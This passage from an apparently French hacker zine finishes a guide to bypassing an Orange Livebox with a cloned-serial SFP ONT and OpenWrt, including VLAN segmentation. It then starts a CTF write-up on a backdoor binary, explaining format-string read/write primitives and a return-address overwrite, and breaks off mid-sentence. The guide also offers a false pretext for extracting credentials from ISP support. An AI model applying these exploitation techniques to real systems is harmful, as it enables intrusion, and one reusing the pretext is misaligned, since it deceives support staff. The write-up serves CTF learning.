ssh root@192.168.1.10 # Pas de mot de passe par défaut

Injectez ensuite les infos récupérées depuis la Livebox (adaptez avec vos
propres valeurs bien sûr):

fwenv_set -8 gpon_sn SMBS.....
fwenv_set -8 equipment_id SagemcomFast5670EOFR
fwenv_set -8 hw_ver SMBSSGLB6106
fwenv_set -8 cp_hw_ver_sync 1
fwenv_set -8 sw_verA SAHEOFR070102
fwenv_set -8 sw_verB SAHEOFR070203
fwenv_set -8 fix_vlans 0

Si vous n'êtes pas à l'aise en CLI, l'interface web du firmware 8311 est
disponible sur 192.168.1.10 et permet de faire exactement la même chose via
votre navigateur préféré.

Changez le mot de passe root par défaut pour un mot de passe fort dès
maintenant.

Fixer les VLANs

Dans l'interface web, rendez-vous dans la section ISP Fixes et décochez Fix
VLANs, puis sauvegardez.

Troubleshooting: Tx fault

En théorie, c'est tout ce qu'il faut faire. En pratique... j'ai galéré.

En branchant le WAS110 dans le Banana Pi, OpenWrt remontait une erreur Tx
fault dans les logs système et désactivait le port SFP.

[Mar 2, 2026, 12:52:37 PM UTC] kern.info: [ 358.881756] sfp sfp1:
module H-COM
[Mar 2, 2026, 12:52:37 PM UTC] kern.info: [ 358.921616] hwmon hwmon2:
temp1_input not attached to any thermal zone
[Mar 2, 2026, 12:52:37 PM UTC] kern.err: [ 359.210690] sfp sfp1:
module transmit fault indicated
[Mar 2, 2026, 12:52:43 PM UTC] kern.err: [ 364.620693] sfp sfp1:
module persistently indicates fault, disabling

Les réglages de base

Première chose à vérifier, depuis l'interface web du firmware 8311,
désactivez le Tx Fault et la Serial Connection. Si vous avez suivi la config
ci-dessus, c'est normalement déjà fait. Sinon, ça se fait aussi en SSH.

Si ça ne suffit pas, on rentre dans le dur.

Lire l'EEPROM du SFP

Récupérez le contenu de l'EEPROM du module en base64:

cat /sys/class/pon_mbox/pon_mbox0/device/eeprom50 | base64

Installez ensuite l'outil de parsing et le script eeprom-vendor.js
https://github.com/up-n-atom/8311/pull/60/commits/
76d6cac24964cd95db625c327a5918494149c7f2#diff-
f6ea92fc12e1775ca5da1c74abeb89a3cb4317448a1d78bec74f58e310869168

pip3 install py-sfp-eeprom

Lancez le script modify.py, collez le résultat base64 et validez. Il va
générer les commandes i2cset adaptées à votre module, par exemple:

i2cset -fy 0 0x51 0x7B 0x91 0x42 0xF0 0x07 i # Unlock écriture
i2cset -fy 0 0x50 0xc8 i
i2cset -fy 0 0x50 0x20 i
i2cset -fy 0 0x50 0x2d i
i2cset -fy 0 0x50 0x00 0xf5 i
i2cset -fy 0 0x50 0x30 0x30 i
i2cset -fy 0 0x50 0x05 0x1a i
i2cset -fy 0 0x51 0x7B 0x00 0x00 0x00 0x00 i # Lock écriture

Un reboot, et le port SFP devrait enfin remonter correctement.

Ce script a été écrit par MshBidb pour m'aider à débloquer ma situation.
Il a ensuite été intégrée via une pull request acceptée et fait maintenant
partie du firmware 8311 officiellement: eeprom-vendor.js — firmware 8311
(GitHub)


-- 0x4: Configuration du Huawei MA5671A --

Suite à mon erreur de diagnostic sur la technologie de ma ligne (GPON et non
XGS-PON), j'ai dû me rabattre sur le classique Huawei MA5671A. Moins cher,
pas la même technologie mais tout aussi efficace.

Le module a été livré avec le firmware custom 8311 déjà flashé.

Configurez votre carte réseau en IP fixe:

IP: 192.168.1.2
Masque: 255.255.255.0
Passerelle: 192.168.1.1

L'IP de l'ONT: 192.168.1.10

Ici, l'interface web est... en chinois. Pas de panique, le SSH est notre ami !

Ouvrez votre terminal et connectez-vous: ssh root@192.168.1.10

Ici, on va droit au but pour injecter le numéro de série récupéré sur la
Livebox:

Configuration du Serial Number GPON:
set_serial_number SMBS12345678

Modification de l'ID matériel si nécessaire:
sfp_i2c -i 7 -s "ABCD"

On sauvegarde et on redémarre le module proprement:
reboot


-- 0x5: Configuration d'OpenWrt --

Une fois le module SFP configuré, on le débranche du PC et on l'insère dans
le port SFP+ (eth2) du Banana Pi BPI-R4.

Et là... magie ? Pas encore il faut d'abord configurer OpenWrt.

Rendez-vous sur le Firmware Selector d'OpenWrt et recherchez votre matériel:

Banana Pi BPI-R4 -> téléchargez l'image SD CARD IMG

Flashez l'image sur une carte SD avec Rufus (Windows) ou en CLI:

sudo dd if=openwrt-24.10.5-mediatek-filogic-bananapi_bpi-r4-sdcard.img
of=/dev/sda bs=4M status=progress

Insérez la carte SD, démarrez le BPI-R4. L'interface LuCI est accessible sur
192.168.1.1 sans mot de passe par défaut.

Première chose à faire, définir un mot de passe fort. Pas 123456789, ni
Belfort1995*. Un vrai.

Récupérer vos credentials FTI

Vous aurez besoin de votre login/mot de passe FTI pour générer l'option 90
d'authentification Orange.

Si vous avez bien pris les screenshots du début plus besoin d'aller dans
l'interface d'administration de votre Livebox.

Le login FTI visible dans l'interface admin de la Livebox -> Paramètres avancés
-> Informations système -> Internet.Pour le mot de passe FTI, il faut appeler le
3900.

Prévoyez un bon café et votre meilleur déstressant, l'appel sera une longue
route sinueuse. Voici un petit speech qui vous fera gagner un peu de temps:
"Bonjour, je dois déplacer mon boitier fibre suite à des travaux, il me
faudrait le mot de passe FTI de ma ligne." Personnellement j'y suis allé en
mode bourrin, comptez ~15 min car les conseillers ne savent souvent pas ce
que c'est.

Une fois le login/mdp en main (ex: fti/exemple / exemple), rendez-vous sur le
générateur d'option 90 de kgersen https://jsfiddle.net/kgersen/3mnsc6wy/ pour
générer votre chaîne d'authentification.

Vous obtiendrez quelque chose comme:

00000000000000000000001a0900000558010341010D6674692F6578656D706C653c12...

Gardez-la précieusement, elle sera injectée dans la config WAN.

Configuration des interfaces (/etc/config/network)

Sur le BPI-R4, l'interface WAN physique est eth2. Sur d'autres
routeurs elle peut s'appeler eth0, eth1 ou wan. Vérifiez via LuCI si besoin.

Interface LAN

config interface 'lan'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option ip6ifaceid '::bad'
option device 'br-lan'

Device VLAN 832

config device
option type '8021q'
option ifname 'eth2'
option vid '832'
option name 'eth2.832
option macaddr 'DE:AD:BE:EF:HG.20' #votre @mac pour ip static
list egress_qos_mapping '1:0'
list egress_qos_mapping '0:6'
list egress_qos_mapping '6:6'

Interface WAN IPv4

config interface 'wan4'
option proto 'dhcp'
option device 'eth2.832'
option hostname '*'
option broadcast '1'
option norelease '1'
option vendorid 'sagem'
option reqopts '1 3 6 15 28 51 58 59 90 119 125'
option sendopts '77:2b46535644534c5f6c697665626f782e496e7465726e65
742e736f66746174686f6d652e4c697665626f7836 90:00000000000000000000
001a0900000558010341010D6674692F6578656D706C653c1231323334353637383
9303132333435360313414b4685de7cee5a7f6bb2fe622e01134d'
option clientid 'DEADBEEFHG20)' #votre @mac pour ip static

Interface WAN IPv6

config interface 'wan6'
option proto 'dhcpv6'
option device 'eth2.832'
option reqprefix 'auto'
option reqaddress 'none'
option defaultreqopts '0'
option sendopts '11:00000000000000000000001a0900000558010341010D6674
692F6578656D706C653c12313233343536373839303132333435360313414b4685d
e7cee5a7f6bb2fe622e01134d 15:FSVDSL_livebox.Internet.softathome.Liv
ebox6 16:0000040e0005736167656d 17:000005580006000e495056365f5245
51554553544544'
option reqopts '11 17 23 24'
option noclientfqdn '1'
option noacceptreconfig '1'
option clientid '00030001DEADBEEFHG20' #00030001 + @mac

Mapping des flux L2 (/etc/nftables.d/nft-prio6-rules.include)

Ce fichier gère la priorisation du trafic (802.1p CS6) attendue par Orange:

vi /etc/nftables.d/nft-prio6-rules.include

oifname "eth2.832" counter meta priority set 0:1
oifname "eth2.832" ip protocol icmp counter meta priority set 0:6
oifname "eth2.832" ip protocol igmp counter meta priority set 0:6
oifname "eth2.832" udp dport 67 counter meta priority set 0:6
oifname "eth2.832" udp dport 547 counter meta priority set 0:6
oifname "eth2.832" ip protocol icmpv6 counter meta priority set 0:6

Configuration du firewall (/etc/config/firewall)

Inclusion des règles nftables

config include 'orange_rules'
option enabled '1'
option type 'nftables'
option path '/etc/nftables.d/nft-prio6-rules.include'
option position 'chain-append'
option chain 'mangle_postrouting'

Zones WAN

config zone
option name 'wan'
option output 'ACCEPT'
option family 'ipv4'
list network 'wan4'
option forward 'DROP'
option masq '1'
option input 'DROP'

config zone
option name 'wan6'
option input 'DROP'
option output 'ACCEPT'
option forward 'DROP'
option family 'ipv6'
list network 'wan6'
list device 'eth2.832'

Règles de filtrage

config rule
option name 'Allow-DHCP-Renew'
option src 'wan'
option proto 'udp'
option dest_port '68'
option target 'ACCEPT'
option family 'ipv4'

config rule
option name 'Allow-Ping'
option src 'wan'
option proto 'icmp'
option icmp_type 'echo-request'
option family 'ipv4'
option target 'ACCEPT'

config rule
option name 'Allow-IGMP'
option src 'wan'
option proto 'igmp'
option family 'ipv4'
option target 'ACCEPT'

config rule
option name 'Allow-DHCPv6'
option proto 'udp'
option dest_port '546'
option family 'ipv6'
option target 'ACCEPT'
option src 'wan6'
list src_ip 'fc00::/6'
list dest_ip 'fc00::/6'

config rule
option name 'Allow-MLD'
option proto 'icmp'
option family 'ipv6'
option target 'ACCEPT'
option src 'wan6'
list src_ip 'fe80::/10'

config rule
option name 'Allow-ICMPv6-Input'
option proto 'icmp'
option limit '1000/sec'
option family 'ipv6'
option target 'ACCEPT'
list icmp_type 'bad-header'
list icmp_type 'destination-unreachable'
list icmp_type 'echo-reply'
list icmp_type 'echo-request'
list icmp_type 'neighbour-advertisement'
list icmp_type 'neighbour-solicitation'
list icmp_type 'packet-too-big'
list icmp_type 'router-advertisement'
list icmp_type 'router-solicitation'
list icmp_type 'time-exceeded'
list icmp_type 'unknown-header-type'
option src 'wan6'

config rule
option name 'Allow-ICMPv6-Forward'
option dest '*'
option proto 'icmp'
option limit '1000/sec'
option family 'ipv6'
option target 'ACCEPT'
list icmp_type 'bad-header'
list icmp_type 'destination-unreachable'
list icmp_type 'echo-reply'
list icmp_type 'echo-request'
list icmp_type 'packet-too-big'
list icmp_type 'time-exceeded'
list icmp_type 'parameter-problem'
list icmp_type 'unknown-header-type'
option src 'wan6'

Forwarding

config forwarding
option src 'lan'
option dest 'wan'

config forwarding
option src 'lan'
option dest 'wan6'

DHCP & Router Advertisement (/etc/config/dhcp)

config dhcp 'lan'
option interface 'lan'
option start '100'
option limit '59'
option leasetime '12h'
option dhcpv4 'server'
option ra 'server'
list ra_flags 'none'

Une fois tout configuré, branchez le SFP dans le port eth2, puis connectez
votre fibre. Vous pouvez maintenant débrancher la Livebox définitivement.

Pour vérifier que tout est bien remonté:
ifstatus wan4
ifstatus wan6

J'ai également ajouté un petit ventilateur et un dissipateur thermique sur le
SFP pour éviter la surchauffe en fonctionnement continu. Fortement
recommandé...

Cette configuration est largement inspirée du travail de Ubune sur le forum
lafibre.info, une mine d'or pour tout ce qui touche au bypass Orange. La
configuration TV Orange (VLAN 840 + igmpproxy) n'est pas couverte ici, je
n'utilise pas la télé d'Orange. Si c'est votre cas, la doc complète est
disponible sur le même forum.


-- 0x6: Segmentation réseau --

Disposant d'un switch manageable dans mon homelab, j'ai voulu segmenter le
réseau proprement. C'est une bonne pratique niveau sécurité, chaque type
d'équipement vit dans sa propre bulle, avec des droits d'accès strictement
définis.

Segmentation réseau par VLAN:

VLAN ID : 10
Nom     : ADMIN
Cible   : Equipements admin
Droits  : Accès total (SSH, WebUI, Console switch)

VLAN ID : 20
Nom     : USERS
Cible   : Famille, appareils non-critiques
Droits  : WAn + accès restreint SRV/apps

VLAN ID : 30
Nom     : SERVERS
Cible   : SRV, Docker, VMs
Droits  : Isolé - parle uniquement à ADMIN et USERS via firewall

VLAN ID : 40
Nom     : IOT
Cible   : Ampoules, prises, caméras
Droits  : Pas d'accès wan

VLAN ID : 50
Nom     : GUEST
Cible   : Amis / Famille
Droits  : Wan uniquement (2.4GHz)

VLAN ID : 999
Nom     : BLACKHOLE
Cible   : VLAN poubelle
Droits  : Suppression du VLAN 1 par défaut

Plan d'adressage:

VLAN        : 10
Nom         : ADM
Sous-réseau : 10.0.10.0/24
Gateway     : 10.0.10.1
DHCP Range  : 10.0.10.50–150

VLAN        : 20
Nom         : USERS
Sous-réseau : 10.0.20.0/24
Gateway     : 10.0.20.1
DHCP Range  : 10.0.20.50–150

VLAN        : 30
Nom         : SERVERS
Sous-réseau : 10.0.30.0/24
Gateway     : 10.0.30.1
DHCP Range  : 10.0.30.50–150

VLAN        : 40
Nom         : IOT
Sous-réseau : 10.0.40.0/24
Gateway     : 10.0.40.1
DHCP Range  : 10.0.40.50–150

VLAN        : 50
Nom         : GUEST
Sous-réseau : 10.0.50.0/24
Gateway     : 10.0.50.1
DHCP Range  : 10.0.50.50–150

Configuration vlan sur OpenWrt

Ne créez pas tous les VLANs d'un coup. Commencez par le VLAN
d'administration, c'est votre filet de sécurité. Tant que vous n'avez pas un
accès stable dessus, ne touchez à rien d'autre.

Créer la zone firewall admin

Avant de créer l'interface, on crée d'abord la zone firewall qui lui sera
associée. Dans Network -> Firewall ajoutez une zone admin avec les permissions
souhaitées.

admin => wan + wan6 : accept accept accept

Sauvegardez simplement.

Créer l'interface VLAN 10

Dans Network -> Interfaces -> Add new interface:

Nom: admin
Protocole: Static address
Device: br-lan.10

Dans l'onglet General Settings:

IPv4 address: 10.0.10.1
Netmask: 255.255.255.0

Dans l'onglet Firewall Settings:
Assignez la zone admin créée à l'étape précédente.

Dans l'onglet DHCP Server:
Start : 100, Limit : 150, Lease time : 12h

Tagged/untagged vlans

Une fois notre interface ainsi que la zone crée, on vas attribuer le vlan sur
notre interface br-lan.

+-----+-------------------------------+
| VLAN ID | eth1 | lan1 | lan2 | lan3 |
+---------+---------------------------+
|   10    |  T   |  U   |      |      | 
+---------+---------------------------+

J'ai mis le vlan admin en untagged sur le port lan1 (temporairement) afin 
de pouvoir reprendre la main plus facilement si la conf de mon switch n'est pas bonne.

Simplement, un port untagged (ou port access) appartient à un seul VLAN. Les
trames qui transitent sur ce port ne portent aucune balise 802.1Q.

* Le switch ajoute/retire le tag de manière transparente.
* L'équipement connecté (PC, imprimante, caméra IP…) n'a pas connaissance du
  VLAN, il envoie et reçoit des trames Ethernet standard.

Or, un port tagged (ou port trunk) transporte plusieurs VLANs simultanément.
Chaque trame conserve sa balise 802.1Q afin que le destinataire sache à quel
VLAN elle appartient.

* Utilisé entre deux switches, entre un switch et un routeur, ou vers un
  hyperviseur.
* L'équipement connecté doit comprendre le standard 802.1Q.

Sauvegardez et appliquez.

Accès via le VLAN admin

Passez votre PC en IP statique:

IP: 10.0.10.10
Masque: 255.255.255.0
Gateway: 10.0.10.1

Puis accédez à http://10.0.10.1. Si LuCI répond, vous avez un accès sécurisé
et vous ne perdrez plus jamais la main.

Vous pouvez maintenant déployer les VLANs restants (USERS, SERVERS, IOT,
GUEST) en répétant la même procédure pour chacun.


-- 0x7: Vue finale de la config --

Une fois tous les VLANs créés, voici à quoi ressemble le tableau de bord
LuCI:

Interfaces: 
+----------------------+----------------+----------------+
| interface            | protocol       | IPv4           | 
+----------------------+--------+-------+----------------+
| lan -> br-lan        | static address | 192.168.1.1/24 |
+----------------------+----------------+----------------+
| admin -> br-lan.10   | static address | 10.0.10.1/24   |
+----------------------+----------------+----------------+
| users -> br-lan.20   | static address | 10.0.20.1/24   |
+----------------------+----------------+----------------+
| servers -> br-lan.30 | static address | 10.0.30.1/24   |
+----------------------+----------------+----------------+
| iot -> br-lan.40     | static address | 10.0.40.1/24   |
+----------------------+----------------+----------------+
| guest -> br-lan.50   | static address | 10.0.50.1/24   |
+----------------------+----------------+----------------+
| wan -> eth2.832      | DHCP client    |                |
+----------------------+----------------+----------------+
| wan6 -> eth2.832     | DHCPv6 client  |                |
+----------------------+----------------+----------------+


Firewall zones:
+----------------------+--------+--------+-----------------------+
| zone forwards        | input  | output |  intra zone forward   |
+----------------------+--------+--------+-----------------------+
| admin -> wan, wan6   | accept | accept |       accept          |
+----------------------+--------+--------+-----------------------+
| users -> wan, wan6   | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| servers -> wan, wan6 | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| iot -> all           | reject | reject |       reject          |
+----------------------+--------+--------+-----------------------+
| guest -> wan, wan6   | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| wan -> all           | reject | accept | reject +masquerading  |
+----------------------+--------+--------+-----------------------+
| wan6 -> all          | reject | accept | reject +masquerading  |
+----------------------+--------+--------+-----------------------+

Chaque zone a ses règles de forwarding adaptées (admin ->
tout, guest-> wan uniquement, iot -> isolé).

Bridge lan VLAN filtering:  
+-----+-------------------------------+
| VLAN ID | eth1 | lan1 | lan2 | lan3 |
+---------+---------------------------+
|   10    |  T   |      |      |      | 
+---------+---------------------------+
|   20    |  T   |      |      |      | 
+---------+---------------------------+
|   30    |  T   |      |      |      | 
+---------+---------------------------+
|   40    |  T   |      |      |      | 
+---------+---------------------------+
|   50    |  T   |      |      |      | 
+---------+---------------------------+


-- 0x8: Conclusion --

Et voilà, la Livebox dort dans un carton et c'est vous qui êtes aux commandes.

Ce projet n'est qu'une base. Il y a encore beaucoup à explorer:
AdGuard Home pour le DNS filtering et le blocage pub au niveau réseau.
WireGuard + Jumpserver pour un VPN maison et accéder à votre infra depuis
l'extérieur.
Grafana + Prometheus pour avoir des métriques sur votre trafic réseau.
Suricata pour de la détection d'intrusion (IDS/IPS).
Whitelists firewall: seuls certains hôtes ou ports sont autorisés.
banIP: filtrage par ASN, pays et IPs malveillantes (équivalent pfBlocker-NG
sous OpenWRT).
Stack ELK: analyse forensique des logs via une VM de journalisation dédiée.
Squid Proxy: proxy HTTP avec authentification par utilisateur ou par
application.
Wazuh pour m'entraîner aux action blue team: détection, alertes, corrélation
d'events.

Un grand merci à Ubune sur lafibre.info pour la base de config Orange, à
MshBidb pour le script EEPROM et à la communauté 8311 pour le travail
remarquable sur les firmwares ONU.

Cet article est ma toute première contribution à un zine, merci à Beemo de
m'avoir laissé cette chance.

Des questions ? Des galères ? N'hésitez pas à rejoindre le discord HackGyver
2.0. (https://discord.gg/P6dj5ayr44)

-- EOF --

03.txt
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌────────────────────────────────┐
│ ISSUE No 4 - Aout 2026  03.TXT └─────────────────────────────────────────────┐
| ph0wn2own                                                                    |
| Miaou                                                                        |
| Hack-In-Provence (HiP)                                                       |
└──────────────────────────────────────────────────────────────────────────────┘


## [ Contexte ] ------------------------------------------------------- [ 0 ] ##

Un grand merci à Azox pour ce chall !

Le  Ph0wn  nous   donne  quelques  semaines  avant  le  CTF   un  petit  teasing
sous  la   forme  d'un  chall   à  préparer  pour   le  dérouler  sur   place  :
https://ph0wn.org/ph0wn2own/. On  obtient une image d'un  filesystem, qui semble
"répondre à des mystérieuses requêtes réseau".


## [ Recon ] ---------------------------------------------------------- [ 1 ] ##

L'image téléchargeable est un rootfs  d'une distribution Linux (sans le kernel).
Quelques indices traînent  pour le  kernel : le dossier /lib/modules/2.6.27.47/,
et une mention  "Welcome to Linux 2.6.27.47  on T4X". C'est un  kernel datant de
2010

Un coup  de readelf sur quelques  libs et exécutables nous  donne l'architecture
matérielle : ARMv5 datant d'environ 2005, processeur 32 bits en little endian.

Le T4X est une gamme de téléphone VoIP  Yealink, et en creusant un peu on trouve
le modèle  T46S :  grand écran  non tactile avec  boutons sur  le côté.  On peut
trouver son firmware en ligne, mais ce ne sera pas très utile.

En cherchant  sur le système  de fichier, on trouve  des images de  contact, par
exemple pico.jpg :

                 :-:
            =%#######%-
          :%%%####*#%%%=----
         :%%##%#%%%%@%@=
         :%%%%@@@@*@%%@@*
         +%****: ::%%@@@@.
+%%%%%%+:=@****-   :##@@@.
 :===   =:=**#*******#@@:
    -+**=   +****##***=+********+====::
 .*%%%#:    =*--+++%%*******************+
           .::--  :   :.-======----=---
             ::= :=..                 :
             . ..                    =
              :....    .:        ...:
               :...... :-.   .....::
                .--::.:--.....:..:.
                  :==-=-=-:===+:.
                    =+===....
              =%%####*+=##*%%+
             =##**############*:::
            *####*#*=+=#*#***###+

On tombe  aussi sur un exécutable  "backdoor". Celui-ci semble être  un ajout au
système  de base  car readelf  nous  donne des  infos différentes  sur sa  cible
d'architecture CPU par rapport aux autres exécutables du rootfs. Un comportement
de  porte  dérobée pourrait  correspondre  à  quelque  chose  qui répond  à  des
mystérieuses requêtes réseau. C'est notre cible.

L'Application Binary  Interface sous ARM  est plutôt stable et  standardisée. On
part donc des calling conventions suivantes lors d'un appel de procédure :
-> 4 premiers arguments en registres (r0..r3 dans cet ordre)
-> arguments suivants sur la stack
-> retour de fonction dans r0
-> stack descendante: la stack commence à une adresse haute (e.g. 0x4ffc)
   et descend vers 0 jusqu'à une limite (e.g. 0x4800)
-> CPU 32-bits, un "push" fait descendre la stack d'1 mot == 4 octets
-> stack full-descending: en plus d'être descendante,  sp pointe vers le dernier
   espace occupé (full)
-> appel  avec  l'instruction  "bl"  qui "branch-link",  c'est  à  dire saute  à
   l'adresse  donnée  et  utilise  le  registre  "lr" (= r14)  pour  enregistrer
   l'adresse de retour de la procédure
-> les exécutables sont en little endian  (LSB), l'octet de poids faible dans un
   mot de plusieurs octets est à l'adresse mémoire la plus basse


## [ Analyse de l'exé backdoor ] -------------------------------------- [ 2 ] ##

L'exécutable est plutôt simple et les symboles de debug sont présents, ce qui va
faciliter l'analyse.

On a les fonctions suivantes :
- main qui écoute sur le port 9999 en TCP, et fork pour chaque nouveau client
  vers handle_client(socket)
- handle_client envoie un message au client puis passe à handle_commands
- handle_commands est le "menu principale" :
  - reçoit une commande via parse_arg
  - décortique puis exécute la commande :
    - do_login demande un username/password précompilé
    - cmd_ping, cmd_echo, cmd_info, cmd_logout demandent d'être loggué
    - cmd_shell ne demande pas d'être loggué mais a un comportement suspect :
      1. pioche 4 mots aléatoires
      2. check si sont égaux à l'argument de cmd_chell
      3. si oui, do_cmd_shell(socket)

La  fonction do_cmd_shell(socket)  est  le  coeur de  la  porte  dérobée :  elle
transforme le lien TCP  vers un shell sur la machine.  La fonction cmd_shell n'a
pas de faille au premier abord.

       +----------------------------------------------------------------+
       |           On a maintenant l'objectif du ph0wn2own :            |
       | soit trouver une faille pour prédire l'aléa et passer le test, |
       | soit trouver une faille pour appeler directement do_cmd_shell. |
       +----------------------------------------------------------------+

J'ai choisi pour ce write-up  d'essayer d'appeler directement do_cmd_shell, même
si sa construction appelle plutôt à essayer de prédire l'avenir. On discutera de
cette fin alternative à la fin du write-up.

Il faut donc commencer par trouver une faille quelque part.

parse_arg est la  première candidate. Sa signature :  parse_arg(int socket, char
*buffer, size_t max_len) Cette fonction copie jusqu'à max_len octets du lien TCP
dans buffer et  son implémentation ne semble pas vulnérable  aux buffer overruns
ou autre problème.

Cette  fonction   donne  aussi  le   "protocole"  à  respecter  pour   parler  à
l'application. On envoie sur  le lien TCP 4 octets en  little endian pour donner
la taille de ce qu'on envoie, puis on envoie ce nombre d'octets. Si la taille du
buffer qu'on  envoie dépasse la taille  max donnée à parse_arg,  alors le buffer
est  tronqué et  seuls max_len  octets  du buffer  sont lus.  Par exemple,  pour
l'appel de parse_arg qui récupère la commande  à exécuter, la taille max est 31.
Les fonctions ont chacune un ou plusieurs arguments qu'elles reçoivent également
avec parse_arg, et qui ont chacune leur  limite de taille à ne pas dépasser. Par
exemple, pour la commande echo, on peut aller jusqu'à 0x200 octets.


## -- ( do_login ) -------------------------------------------------- [ 2.1 ] ##

C'est une  étape à franchir  pour accéder aux  autres fonctions. Elle  n'est pas
vulnérable au  sens du  pwn, mais  elle accepte  l'utilisateur en  utilisant des
informations compilées dans l'application, donc facile à contourner.

Elle attend 2  arguments, le premier est  le username "ph0wn", le  second est le
password "5tr0ng_P@ssw0rd!". Ceci  met à jour une variable  globale qui débloque
l'accès aux autres commandes, où on espère trouver des failles.


## -- ( cmd_echo ) -------------------------------------------------- [ 2.2 ] ##

Cette  fonction demande  à être  logguée, puis  elle prend  un argument  qu'elle
formate sur la socket en retour. Son fonctionnement est en gros :
- alloue to_echo (0x200 octets) et récupère l'argument dans ce buffer
- alloue to_print (0x800 octets) et fait un snprintf(to_print, 0x800, to_echo)

Ce dernier  appel est  la vulnérabilité  : on  maitrise to_print  et on  va donc
pouvoir en abuser.


## [ Vulnérabilités via snprintf ] ------------------------------------ [ 3 ] ##

Déjà snprintf, c'est une variadique : snprintf(to_print, 0x800, to_echo, ...).

Que  se passe-t-il  si on  donne to_echo="%x  %x %x"  ? Reprenons  la convention
d'appel de procédure :
- premier argument dans le registre r0 -> to_print
- deuxième argument --------------- r1 -> 0x800
- troisième ----------------------- r2 -> to_echo
- quatrième ----------------------- r3
- cinquième et suivants dans la stack (le 5° poussé d'abord, ensuite le 6°,
  ensuite le 7°, ...)

Le code  de la fonction snprintf  s'exécute *comme si* l'appelant  avait préparé
les arguments correctement en registres et  en stack. Avec l'exemple "%x %x %x",
la fonction va donc  chercher le 4°, 5°, et 6° argument  *comme si* cmd_echo les
avait préparés correctement, et snprintf va donc afficher le contenu de r3, puis
le contenu de la stack au moment de l'appel.

En reprenant la convention  du manuel de printf qui dit  que le premier argument
optionnel est  l'argument numéro  1, on peut  visualiser la stack  et ce  à quoi
snprintf va pouvoir accéder :

|  argument2 <--- sp (stack pointer) au moment de l'appel
|  argument3
|  argument4
|  argument5
|  [...]
v (adresses mémoires croissantes vers le bas)

L'argument 1 n'est pas sur la stack puisque c'est le contenu du registre r3.

On peut  utiliser un  modificateur pour  maîtriser plus  finement nos  lecture :
"%k$n"  utilise directement  le  k-ième  argument, ce  qui  nous  donne accès  à
l'endroit voulu sur la stack.

         +------------------------------------------------------------+
         | Premier outil : lecture arbitraire de la stack via "%k$x". |
         +------------------------------------------------------------+

Les fonctions  printf ont également  une capacité d'écriture qu'on  oublie parce
que son  utilisation est  plus rare :  le convertisseur %n.  D'après le  man, il
permet d'écrire  le nombre d'octets déjà  formatés au moment où  il apparaît. Il
utilise l'argument passé correspondant comme un pointeur sur entier. L'opération
pourrait s'écrire `*p_i = current_len();`. Par exemple :


int i=4;
printf(&#34;%08d %n%d&#34;, i, &amp;i, i);
écrirait "00000004 9" et i vaut 9 après son exécution. On peut utiliser des modificateurs pour maîtriser plus finement nos écritures : - "%k$n" utilise le k-ième argument -> choisir quel élément de la stack utiliser comme pointeur - "%[nombre]i" insère du padding pour que le formatage du nombre prenne au moins `nombre` octets -> ajuster plus facilement la valeur écrite par %n - "%hhn" considère que le pointeur est un "uint8_t*" et "%hn" pour un "uint16_t*" -> modifier seulement 1 ou 2 octets plutôt que 4 Notre buffer fait 0x800 de long, on ne pourra donc pas padder à plus que cette longueur, et on ne pourra pas écrire d'entier plus grand que 0x800. On s'oriente donc vers l'utilisation de "%k$hhn". +----------------------------------------------------------------+ | Deuxième outil : écriture arbitraire de la stack via "%k$hhn". | +----------------------------------------------------------------+ Pour écrire un entier 32 bits, on a besoin de 4 "%hhn" qu'on peut trier pour utiliser seulement 0x100 octets de formatage et écrire n'importe quelle valeur. Il faut trier les octets dans le bon ordre. Par exemple, écrire 0x7fff0482 en 0x1234 revient à écrire 0x82 en 0x1234, 0x04 en 0x1235, 0xff en 0x1236 et 0x7f en 0x1237 : `printf("%1$4i%1$hhn" "%1$123i%2$hhn" "%1$3i%3$hhn" "%1$125i%4$hhn", 0, 0x1235, 0x1237, 0x1234, 0x1236);`. ## [ Que faire avec ces outils ? ] ------------------------------------ [ 4 ] ## La stack comprend deux éléments essentiels à l'exécution d'un programme : les variables locales de la fonction, l'adresse de retour (pour que l'appelant de la fonction puisse reprendre l'exécution après l'appel de la fonction), et des valeurs des registres qu'il faut préserver pour l'appelant. Pour schématiser ces éléments sur la stack au moment de l'appel à snprintf : | / <--- sp (stack pointer) au moment de l'appel | | variables locales de cmd_echo | \ | sauvegarde registres | adresse de retour vers handle_commands (0x9194) | / | | variables locales de handle_commands | \ | sauvegarde registres | adresse de retour vers handle_client (0x9828) | [...] v (adresses mémoires croissantes vers le bas) Un vecteur d'attaque semble se dessiner : modifier l'adresse de retour vers handle_commands pour exécuter à la place do_cmd_shell. Il s'agit d'un ROP (Return-Oriented Programming). Toutes les adresses *après* sp sont accessibles en lecture directement via "%k$x". Mais on ne peut utiliser que des pointeurs *présents après sp* pour pouvoir écrire. Il faudrait énormément de bol pour qu'un pointeur sur la stack nous permettant de modifier directement l'adresse de retour existe. Et ce n'est pas le cas. Il faut donc analyser plus en détail les variables globales pour voir si on en maîtrise des zones ou non. Regardons le prologue de cmd_echo : mov ip, sp push {fp, ip, lr, pc} sub fp, ip, 4 sub sp, sp, 0x38 Et l'épilogue correspondant : sub sp, fp, 0xc pop {fp, sp, pc} La fonction sauvegarde fp (Frame Pointer, le registre r11), ip (r12) qui vaut en fait sp avant le push, lr (contient l'adresse de l'instruction suivant l'instruction bl qui a appelé cette fonction), et enfin pc (Program Counter). Ce dernier registre n'est pas ré-utilisé et sert uniquement à garder la stack alignée à 8 octets. On peut le voir en analysant l'épilogue : seul 3 des 4 registres sont pop en sortie, et en regardant bien, fp et sp reprennent leur valeur, et pc prend la valeur de lr. La fonction s'est donc réservée 0x38 octets sur la stack pour ses variables locales (également aligné à 8 octets), soit entre 13 ou 14 mots. En schéma : | local_00 <--- sp après le prologue | local_04 | local_08 | local_0c | ... | local_30 | local_34 | fp avant le prologue | sp avant le prologue | lr == addr instruction après bl cmd_echo | pc avant le prologue (padding) <--- fp pendant cmd_echo | <--- sp on entry v On peut accéder aux variables locales de deux manières : - par le début de la stack, l'adresse de local_00 est sp+0x00 - par la fin 